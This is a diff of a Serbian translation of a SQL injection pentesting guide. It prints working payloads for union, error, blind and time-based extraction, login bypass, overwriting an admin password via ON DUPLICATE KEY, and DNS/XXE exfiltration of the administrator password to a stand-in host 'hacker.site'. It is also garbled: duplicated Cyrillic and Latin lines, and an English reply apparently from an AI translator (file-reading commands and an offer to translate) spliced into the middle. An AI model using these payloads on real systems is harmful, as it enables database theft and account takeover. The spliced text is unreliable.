Pouzdan metod za potvrdu SQL injection ranjivosti uključuje izvršavanje **logičke operacije** i posmatranje očekivanih rezultata. Na primer, GET parametar kao `?username=Peter` koji daje isti sadržaj kada se izmeni u `?username=Peter' or '1'='1` ukazuje na SQL injection ranjivost.
|
||||
|
||||
Слично томе, примена **математичких операција** служи као ефикасна техника потврде. На пример, ако приступање `?id=1` и `?id=2-1` производи исти резултат, то указује на SQL инјекцију.
|
||||
Slično tome, primena **matematičkih operacija** služi kao efikasna tehnika potvrde. Na primer, ako pristupanje `?id=1` i `?id=2-1` daje isti rezultat, to ukazuje na SQL injection.
|
||||
|
||||
Примери који демонстрирају потврду логичке операције:
|
||||
Primeri koji ilustruju potvrdu logičkim operacijama:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Ova lista reči je kreirana da pokuša da **potvrdi SQLinjections** na predloženi način:
|
||||
Ova lista reči je napravljena da pokuša da **potvrdi SQLinjections** na predloženi način:
|
||||
|
||||
<details>
|
||||
<summary>Pravi SQLi</summary>
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Potvrđivanje vremenskim intervalima
|
||||
### Potvrđivanje pomoću vremena
|
||||
|
||||
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Stoga, dobar način da **otkrijete slepe SQL injekcije** je da naterate DB da izvrši radnje koje će imati **uticaj na vreme** koje je potrebno stranici da se učita.\
|
||||
Stoga, u SQL upitu ćemo dodati operaciju koja će trajati dugo da se završi:
|
||||
U nekim slučajevima **nećete primetiti nikakvu promenu** na stranici koju testirate. Zato je dobar način da **otkrijete blind SQL injections** naterati DB da izvrši akcije koje će imati **uticaj na vreme** potrebno za učitavanje stranice.\
|
||||
Stoga ćemo u SQL query concat-ovati operaciju koja će dugo trajati da se izvrši:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
U nekim slučajevima **funkcije spavanja neće biti dozvoljene**. Tada, umesto korišćenja tih funkcija, možete napraviti upit koji će **izvršiti složene operacije** koje će trajati nekoliko sekundi. _Primeri ovih tehnika biće komentarisani posebno za svaku tehnologiju (ako ih ima)_.
|
||||
U nekim slučajevima **sleep functions neće biti dozvoljene**. Umesto korišćenja tih funkcija možete naterati upit da **izvrši složene operacije** koje će trajati nekoliko sekundi. _Primeri ovih tehnika biće posebno komentarisani za svaku tehnologiju (ako ih ima)_.
|
||||
|
||||
### Identifikacija Back-end-a
|
||||
### Identifikacija back-enda
|
||||
|
||||
Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti _**sleep**_ **funkcije** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
Najbolji način da identifikujete back-end je pokušajem izvršavanja funkcija različitih back-enda. Možete koristiti _**sleep**_ **functions** iz prethodnog odeljka ili ove (tabela iz [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,28 +211,29 @@ Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija raz
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Takođe, ako imate pristup izlazu upita, mogli biste da **prikazujete verziju baze podataka**.
|
||||
Takođe, ako imate pristup izlazu upita, možete naterati da **ispisuje verziju baze podataka**.
|
||||
|
||||
> [!TIP]
|
||||
> U nastavku ćemo raspraviti različite metode za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.
|
||||
> U nastavku ćemo razmotriti različite metode za iskorišćavanje različitih tipova SQL Injection. Koristićemo MySQL kao primer.
|
||||
|
||||
### Identifikovanje uz PortSwigger
|
||||
|
||||
### Identifikacija sa PortSwigger
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Iskorišćavanje zasnovano na Uniji
|
||||
## Eksploatisanje Union Based
|
||||
|
||||
### Otkrivanje broja kolona
|
||||
|
||||
Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite.\
|
||||
Prvo, treba da saznamo **broj** **kolona** koje **početni zahtev** vraća. To je zato što **oba upita moraju vraćati isti broj kolona**.\
|
||||
Dve metode se obično koriste u tu svrhu:
|
||||
Pre svega, treba da otkrijemo **broj** **kolona** koje vraća **početni zahtev**. To je zato što **oba upita moraju vratiti isti broj kolona**.\
|
||||
Za ovu svrhu se obično koriste dve metode:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok ne dobijete lažan odgovor. Iako se **GROUP BY** i **ORDER BY** unutar SQL-a razlikuju po funkcionalnosti, oboje se mogu koristiti na identičan način za utvrđivanje broja kolona u upitu.
|
||||
Da biste odredili broj kolona u upitu, postepeno menjajte broj korišćen u **ORDER BY** ili **GROUP BY** klauzulama dok se ne dobije neispravan odgovor. Uprkos razlikama u funkcionalnosti **GROUP BY** i **ORDER BY** u okviru SQL-a, obe se mogu koristiti na isti način za utvrđivanje broja kolona u upitu.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -250,17 +251,17 @@ Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u *
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
Izaberite sve više i više null vrednosti dok upit ne bude tačan:
|
||||
Select sve više null vrednosti dok upit ne bude ispravan:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Trebalo bi da koristite `null` vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti i null je validan u svakom slučaju._
|
||||
_Trebalo bi da koristite `null` vrednosti, jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti, a null je važeći u svakom slučaju._
|
||||
|
||||
### Izdvajanje imena baza podataka, imena tabela i imena kolona
|
||||
|
||||
U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi podataka, imena kolona tabele:
|
||||
U sledećim primerima ćemo izvući imena svih baza podataka, ime tabele u bazi i imena kolona u tabeli:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -271,67 +272,67 @@ U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi p
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Postoji različit način da se otkrije ovi podaci na svakoj različitoj bazi podataka, ali metodologija je uvek ista._
|
||||
_Postoji drugačiji način da se ovi podaci otkriju na svakoj različitoj bazi, ali metodologija je uvek ista._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
## Iskorišćavanje Hidden Union Based
|
||||
|
||||
Kada je izlaz upita vidljiv, ali se čini da je injekcija zasnovana na uniji neostvariva, to označava prisustvo **hidden union-based injection**. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.
|
||||
Kada je izlaz query-ja vidljiv, ali union-based injection izgleda nedostižno, to ukazuje na prisustvo **hidden union-based injection**. Ovaj scenario često vodi ka blind injection situaciji. Da biste pretvorili blind injection u union-based, potrebno je razotkriti izvršni query na backend-u.
|
||||
|
||||
To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani Sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.
|
||||
Ovo se može postići upotrebom blind injection tehnika zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani Database Management System (DBMS). Za razumevanje tih podrazumevanih tabela preporučuje se konsultovanje dokumentacije ciljanog DBMS.
|
||||
|
||||
Kada je upit izvučen, potrebno je prilagoditi svoj payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući eksploataciju novonastale injekcije zasnovane na uniji.
|
||||
Kada se query izdvoji, potrebno je prilagoditi payload tako da bezbedno zatvori originalni query. Nakon toga, union query se dodaje vašem payload-u, omogućavajući eksploataciju novo dostupnog union-based injection.
|
||||
|
||||
Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Za detaljnije informacije, pogledajte ceo članak dostupan na [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Exploiting Error based
|
||||
## Iskorišćavanje Error based
|
||||
|
||||
Ako iz nekog razloga **ne možete** videti **izlaz** **upita**, ali možete **videti poruke o grešci**, možete iskoristiti te poruke o grešci da **ex-filtrirate** podatke iz baze podataka.\
|
||||
Prateći sličan tok kao u eksploataciji zasnovanoj na uniji, mogli biste uspeti da dump-ujete DB.
|
||||
Ako iz nekog razloga **ne možete** videti **izlaz** od **query**-ja, ali možete **videti poruke o grešci**, možete iskoristiti te poruke da **ex-filtrate** podatke iz baze.\
|
||||
Prateći sličan tok kao u Union Based exploitation, mogli biste uspeti da dump the DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Iskorišćavanje Blind SQLi
|
||||
## Eksploatisanje Blind SQLi
|
||||
|
||||
U ovom slučaju ne možete videti rezultate upita ili greške, ali možete **razlikovati** kada upit **vraća** **tačan** ili **netačan** odgovor jer postoje različiti sadržaji na stranici.\
|
||||
U ovom slučaju, možete iskoristiti to ponašanje da izvučete bazu podataka karakter po karakter:
|
||||
U ovom slučaju ne možete videti rezultate upita niti greške, ali možete razlikovati kada upit vraća **true** ili **false** odgovor jer na stranici postoji različit sadržaj.\
|
||||
U tom slučaju možete zloupotrebiti to ponašanje da dump the database char by char:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Iskorišćavanje Error Blind SQLi
|
||||
## Eksploatacija Error Blind SQLi
|
||||
|
||||
Ovo je **isti slučaj kao pre** ali umesto da razlikujete između tačnog/lažnog odgovora iz upita, možete **razlikovati između** **greške** u SQL upitu ili ne (možda zato što HTTP server pada). Stoga, u ovom slučaju možete izazvati SQL grešku svaki put kada tačno pogodite karakter:
|
||||
Ovo je **isti slučaj kao i ranije**, ali umesto da razlikujete odgovor true/false koji vraća upit, možete **razlikovati** da li u SQL upitu postoji **error** ili ne (možda zato što HTTP server pada). Dakle, u ovom slučaju možete prisiliti SQLerror svaki put kada pravilno pogodite char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Iskorišćavanje SQLi zasnovanog na vremenu
|
||||
## Eksploatacija Time Based SQLi
|
||||
|
||||
U ovom slučaju **nema** načina da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Međutim, možete učiniti da stranica **duže učitava** ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo [potvrdili SQLi ranjivost](#confirming-with-timing).
|
||||
U ovom slučaju **ne postoji** nijedan način da se **razlikuje** **odgovor** upita na osnovu konteksta stranice. Međutim, možete učiniti da se stranica **duže učitava** ako je pogođen karakter tačan. Već smo ovu tehniku videli ranije u svrhu [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte na umu da, iako se uzastopni upiti izvršavaju, **rezultati** se **ne vraćaju aplikaciji**. Stoga je ova tehnika prvenstveno korisna u vezi sa **blind vulnerabilities** gde možete koristiti drugi upit da pokrenete DNS lookup, uslovnu grešku ili vremensko kašnjenje.
|
||||
Možete koristiti stacked queries da **izvršite više upita uzastopno**. Imajte na umu da, iako se naredni upiti izvršavaju, **rezultati** se **ne vraćaju aplikaciji**. Dakle, ova tehnika se uglavnom koristi u vezi sa **blind vulnerabilities** gde možete iskoristiti drugi upit da pokrenete DNS lookup, conditional error, ili time delay.
|
||||
|
||||
**Oracle** ne podržava **stacked queries.** **MySQL, Microsoft** i **PostgreSQL** ih podržavaju: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** doesn't support **stacked queries.** **MySQL, Microsoft** and **PostgreSQL** support them: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ako **nijedna** metoda eksploatacije **nije uspela**, možete pokušati da naterate **bazu podataka da ex-filtrira** informacije na **spoljni host** koji kontrolišete. Na primer, putem DNS upita:
|
||||
Ako **nijedan drugi** metod eksploatacije **nije uspeo**, možete pokušati da naterate **database ex-filtrate** informacije na **external host** koji kontrolišete. Na primer, putem DNS queries:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Izvanbandna eksfiltracija podataka putem XXE
|
||||
### Out of band data exfiltration via XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Automatizovana Eksploatacija
|
||||
## Automatizovana eksploatacija
|
||||
|
||||
Proverite [SQLMap Cheatsheet](sqlmap/index.html) da biste iskoristili SQLi ranjivost sa [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Check the [SQLMap Cheatsheet](sqlmap/index.html) to exploit a SQLi vulnerability with [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Tehničke specifične informacije
|
||||
## Informacije specifične za tehnologiju
|
||||
|
||||
Već smo razgovarali o svim načinima za eksploataciju SQL Injection ranjivosti. Pronađite još nekoliko trikova zavisnih od tehnologije baze podataka u ovoj knjizi:
|
||||
Već smo diskutovali sve načine za eksploataciju SQL Injection ranjivosti. Pronađite još trikova zavisnih od tehnologije baze podataka u ovoj knjizi:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -339,42 +340,42 @@ Već smo razgovarali o svim načinima za eksploataciju SQL Injection ranjivosti.
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Ili ćete pronaći **puno trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Ili ćete pronaći **mnoštvo trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Zaobilaženje autentifikacije
|
||||
## Authentication bypass
|
||||
|
||||
Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:
|
||||
Lista za pokušaj da se zaobiđe login funkcionalnost:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Zaobilaženje autentifikacije sa sirovim hešom
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekcijama. Napadači mogu iskoristiti ovo kreiranjem unosa koji, kada se hashiraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
Ovaj upit prikazuje ranjivost koja nastaje kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injection. Napadači to mogu iskoristiti tako što će konstruisati ulaze koji, kada se hešuju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Zaobilaženje autentifikacije putem injektovanog haša
|
||||
### Injektovani hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Preporučena lista**:
|
||||
|
||||
Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku uvek: _**Pass1234.**_\
|
||||
_(Ovi payload-ovi su takođe uključeni u veliku listu pomenutu na početku ovog odeljka)_
|
||||
Kao korisničko ime koristite svaku liniju iz liste, a kao lozinku uvek: _**Pass1234.**_\
|
||||
_(Ovi payloads su takođe uključeni u listu navedenu na početku ovog odeljka)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK autentifikacija zaobići
|
||||
### GBK Authentication Bypass
|
||||
|
||||
AKO se ' escape-uje, možete koristiti %A8%27, a kada se ' escape-uje, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
Ako se ' escapuje možete koristiti %A8%27, i kada se ' escapuje biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -397,64 +398,92 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Modify password of existing object/user
|
||||
|
||||
Da biste to uradili, trebate pokušati da **kreirate novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
Da biste to uradili, pokušajte da **create a new object named as the "master object"** (verovatno **admin** u slučaju korisnika) menjajući nešto:
|
||||
|
||||
- Kreirajte korisnika nazvanog: **AdMIn** (velika i mala slova)
|
||||
- Kreirajte korisnika nazvanog: **admin=**
|
||||
- **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Kreirajte korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
- Create user named: **AdMIn** (velika i mala slova)
|
||||
- Create a user named: **admin=**
|
||||
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30 i želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime pod nazivom: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
Ako je baza podatka ranjiva i maksimalan broj karaktera za username je, na primer, 30 i želite da se predstavljate kao korisnik **admin**, pokušajte da kreirate username nazvan: "_admin \[30 spaces] a_" i bilo koju lozinku.
|
||||
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, **izrezaće** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
Baza podataka će **proveriti** da li uneti **username** **postoji** u bazi. Ako **ne**, ona će **skratiti** **username** na **maksimalno dozvoljen broj karaktera** (u ovom slučaju na: "_admin \[25 spaces]_") i potom će **automatski ukloniti sve razmake na kraju ažurirajući** u bazi korisnika "**admin**" sa **novom lozinkom** (možda će se pojaviti neka greška ali to ne znači da ovo nije uspelo).
|
||||
|
||||
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim MySQL instalacijama. Dok poređenja i dalje ignorišu razmake na kraju po defaultu, pokušaj umetanja stringa koji je duži od dužine polja rezultiraće greškom, a umetanje će propasti. Za više informacija o ovoj provere:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Napomena: Ovaj napad više neće raditi kako je gore opisano u najnovijim MySQL instalacijama. Dok poređenja i dalje podrazumevano ignorišu trailing whitespace, pokušaj da se ubaci string koji je duži od dužine polja će rezultirati greškom, i insert će propasti. Za više informacija o ovoj proveri:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Dodajte koliko god `','',''` smatrate potrebnim da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
Dodajte onoliko `','',''` koliko smatrate da je potrebno da izađete iz VALUES statement-a. Ako se delay izvrši, imate SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` klauzula u MySQL se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi da specificira radnje koje baza treba da preduzme kada se pokuša ubaciti red koji bi doveo do duplikata vrednosti u UNIQUE index ili PRIMARY KEY. Sledeći primer pokazuje kako se ova funkcionalnost može iskoristiti za izmenu lozinke administratorskog naloga:
|
||||
|
||||
Primer Payload Injekcije:
|
||||
Primer Payload injekcije:
|
||||
|
||||
Payload za injekciju može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u `users` tabelu. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da ažurira lozinku:
|
||||
Injekcioni payload se može sastaviti na sledeći način, gde se pokušavaju ubaciti dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja na email postojećeg administratora sa namerom ažuriranja lozinke:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Evo kako to funkcioniše:
|
||||
Ovako to radi:
|
||||
|
||||
- Upit pokušava da unese dva reda: jedan za `generic_user@example.com` i drugi za `admin_generic@example.com`.
|
||||
- Ako red za `admin_generic@example.com` već postoji, `ON DUPLICATE KEY UPDATE` klauzula se aktivira, naređujući MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Shodno tome, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
- Upit pokušava da ubaci dva reda: jedan za `generic_user@example.com` i drugi za `admin_generic@example.com`.
|
||||
- Ako red za `admin_generic@example.com` već postoji, klauzula `ON DUPLICATE KEY UPDATE` se aktivira i naređuje MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Posledično, authentication se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
|
||||
### Ekstrakcija informacija
|
||||
|
||||
#### Kreiranje 2 naloga u isto vreme
|
||||
#### Kreiranje 2 naloga istovremeno
|
||||
|
||||
Kada pokušavate da kreirate novog korisnika, potrebni su korisničko ime, lozinka i email:
|
||||
Prilikom pokušaja kreiranja novog user-a, potrebni su username, password i email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Korišćenje decimalnog ili heksadecimalnog
|
||||
#### Korišćenje decimalnog ili heksadecimalnog formata
|
||||
|
||||
Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.
|
||||
Korišćenjem ove tehnike možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate ništa komentarisati.
|
||||
|
||||
Korišćenjem **hex2dec** i **substr**:
|
||||
Koristeći **hex2dec** i **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Da biste dobili tekst, možete koristiti:
|
||||
Here are several ways to retrieve the file contents — pick whichever fits your environment:
|
||||
|
||||
Unix / macOS:
|
||||
```
|
||||
cat src/pentesting-web/sql-injection/README.md
|
||||
less src/pentesting-web/sql-injection/README.md
|
||||
head -n 200 src/pentesting-web/sql-injection/README.md
|
||||
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
|
||||
awk 'NR<=200{print}' src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
Git (show file from current commit/branch):
|
||||
```
|
||||
git show HEAD:src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
GitHub raw (replace user/repo/branch):
|
||||
```
|
||||
curl -sL https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
|
||||
wget -qO- https://raw.githubusercontent.com/<user>/<repo>/<branch>/src/pentesting-web/sql-injection/README.md
|
||||
```
|
||||
|
||||
Windows:
|
||||
```
|
||||
type .\src\pentesting-web\sql-injection\README.md
|
||||
PowerShell: Get-Content .\src\pentesting-web\sql-injection\README.md
|
||||
```
|
||||
|
||||
If you prefer, paste the file contents here and I will translate following your rules.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
@ -469,20 +498,20 @@ Koristeći **hex** i **replace** (i **substr**):
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection je situacija u kojoj upit koji se može injektirati nije onaj koji daje izlaz, već izlaz injektiranog upita ide u upit koji daje izlaz. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection je situacija u kojoj injektabilni upit nije onaj koji daje izlaz, već izlaz injektabilnog upita ide u upit koji daje izlaz. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Primer:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF Bypass
|
||||
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Početni bypass-ovi su ovde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
